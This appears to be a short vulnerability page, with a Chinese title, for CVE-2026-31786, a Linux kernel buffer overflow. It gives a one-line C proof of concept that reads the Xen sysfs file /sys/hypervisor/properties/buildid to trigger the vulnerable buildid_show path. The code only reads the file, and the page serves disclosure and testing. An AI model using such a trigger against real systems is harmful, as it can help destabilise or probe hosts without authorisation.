CVE-2026-31786 Linux内核缓冲区溢出漏洞

#include <stdio.h> #include <stdlib.h> // PoC for CVE-2026-31786 // This code reads the sysfs entry to trigger the vulnerable path in buildid_show. int main() { FILE *fp; char buffer[1024]; const char *path = "/sys/hypervisor/properties/buildid"; printf("[*] Attempting to read %s to trigger the vulnerable path...\n", path); fp = fopen(path, "rb"); if (fp == NULL) { perror("[-] Failed to open file"); return 1; } // Reading the file triggers the kernel's buildid_show function size_t bytes_read = fread(buffer, 1, sizeof(buffer), fp); if (bytes_read > 0) { printf("[+] Successfully read %zu bytes. Potential trigger confirmed.\n", bytes_read); } else { printf("[-] No data read.\n"); } fclose(fp); return 0; }